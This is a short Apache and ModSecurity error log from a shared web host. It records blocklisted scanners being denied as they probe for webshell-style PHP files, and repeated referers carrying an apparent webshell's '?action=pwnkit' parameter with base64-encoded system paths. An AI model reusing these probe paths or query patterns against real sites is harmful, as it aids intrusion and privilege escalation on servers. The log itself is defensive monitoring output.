https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:10:26.960925 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:10:27.139714 2026] [security2:error] [pid 531797:tid 532030] [client 20.151.217.54:40145] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/fff.php"] [unique_id "ai3xc8TA7b1mZrmcA-8kLgAAAjU"] [Sat Jun 13 18:10:27.164747 2026] [access_compat:error] [pid 531155:tid 531232] [remote 57.141.14.3:35268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:27.165214 2026] [access_compat:error] [pid 531155:tid 531232] [remote 57.141.14.3:35268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:27.248383 2026] [security2:error] [pid 531797:tid 532081] [client 172.171.3.232:18033] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/wp-Blogs.php"] [unique_id "ai3xc8TA7b1mZrmcA-8kNQAAAmc"] [Sat Jun 13 18:10:27.256788 2026] [security2:error] [pid 531797:tid 531931] [remote 17.241.227.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xc8TA7b1mZrmcA-8kNAACVkM"] [Sat Jun 13 18:10:27.338140 2026] [access_compat:error] [pid 531797:tid 531976] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94ZW4= [Sat Jun 13 18:10:27.338586 2026] [access_compat:error] [pid 531797:tid 531976] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94ZW4= [Sat Jun 13 18:10:27.493803 2026] [security2:error] [pid 531155:tid 531393] [client 20.151.217.54:46233] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/invisi.php"] [unique_id "ai3xcymiP80klyS0Nnr3PQAAAXY"] [Sat Jun 13 18:10:27.518414 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:10:27.518716 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:10:27.650121 2026] [security2:error] [pid 531797:tid 532001] [client 20.151.217.54:60140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/wpconf.php"] [unique_id "ai3xc8TA7b1mZrmcA-8kPAAAAhk"] [Sat Jun 13 18:10:27.661681 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.29:30777] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:27.662083 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.29:30777] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:27.682511 2026] [security2:error] [pid 531797:tid 532079] [client 191.233.234.186:40314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xc8TA7b1mZrmcA-8kPgAAAmU"] [Sat Jun 13 18:10:27.738689 2026] [security2:error] [pid 531797:tid 532090] [client 45.157.112.249:33441] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.112.157.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "muranoaviacion.com"] [uri "/index.php/joomla-pages/j-pages/contact-us"] [unique_id "ai3xc8TA7b1mZrmcA-8kQgAAAm8"], referer: https://muranoaviacion.com/index.php/joomla-pages/j-pages/contact-us [Sat Jun 13 18:10:27.774502 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.39:52080] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:27.774801 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.39:52080] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:27.783785 2026] [security2:error] [pid 531155:tid 531303] [client 20.151.217.54:65183] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/x.php"] [unique_id "ai3xcymiP80klyS0Nnr3QwAAARw"] [Sat Jun 13 18:10:27.868959 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS9hc20= [Sat Jun 13 18:10:27.869257 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS9hc20= [Sat Jun 13 18:10:28.013665 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:10:28.013954 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:10:28.197029 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.88:62944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:28.197303 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.88:62944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:28.217389 2026] [security2:error] [pid 531797:tid 532007] [client 20.151.217.54:9468] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/crgio.php"] [unique_id "ai3xdMTA7b1mZrmcA-8kTgAAAh8"] [Sat Jun 13 18:10:28.389677 2026] [access_compat:error] [pid 531797:tid 531910] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvYm54Mmk= [Sat Jun 13 18:10:28.390127 2026] [access_compat:error] [pid 531797:tid 531910] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvYm54Mmk= [Sat Jun 13 18:10:28.410621 2026] [security2:error] [pid 531797:tid 532068] [client 191.233.234.186:40277] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/atomlib.php"] [unique_id "ai3xdMTA7b1mZrmcA-8kVgAAAlo"] [Sat Jun 13 18:10:28.417947 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.42:21518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:28.418367 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.42:21518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:28.538691 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:10:28.538959 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:10:28.650359 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.108:28357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:28.650712 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.108:28357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:28.746910 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.98:44436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:28.747189 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.98:44436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:28.780420 2026] [security2:error] [pid 531797:tid 532100] [client 172.171.3.232:14076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/rum.php"] [unique_id "ai3xdMTA7b1mZrmcA-8kZQAAAnk"] [Sat Jun 13 18:10:28.797856 2026] [security2:error] [pid 531797:tid 531944] [remote 50.87.144.31:43414] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "scholarsofsharlayan.com"] [uri "/wp-login.php"] [unique_id "ai3xdMTA7b1mZrmcA-8kaAACIVA"] [Sat Jun 13 18:10:28.829461 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:28.829773 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:29.065132 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.97:45220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:29.065438 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.97:45220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:29.130058 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:29.130495 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:29.172485 2026] [security2:error] [pid 531797:tid 532116] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/sapi/cli/tests/002-win32.phpt"] [unique_id "ai3xdcTA7b1mZrmcA-8kewAAAok"] [Sat Jun 13 18:10:29.223828 2026] [security2:error] [pid 531797:tid 532006] [client 191.234.188.123:63840] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/dr.php"] [unique_id "ai3xdcTA7b1mZrmcA-8kgAAAAh4"] [Sat Jun 13 18:10:29.243182 2026] [security2:error] [pid 531797:tid 532057] [client 20.9.67.71:41933] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xdcTA7b1mZrmcA-8kgQAAAk8"] [Sat Jun 13 18:10:29.449695 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:29.450139 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:29.460291 2026] [security2:error] [pid 531797:tid 532050] [client 20.151.217.54:57494] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xdcTA7b1mZrmcA-8khwAAAkg"] [Sat Jun 13 18:10:29.501738 2026] [security2:error] [pid 531797:tid 532039] [client 20.151.217.54:40159] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/dccs.php"] [unique_id "ai3xdcTA7b1mZrmcA-8kiQAAAj4"] [Sat Jun 13 18:10:29.617148 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:29.617419 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 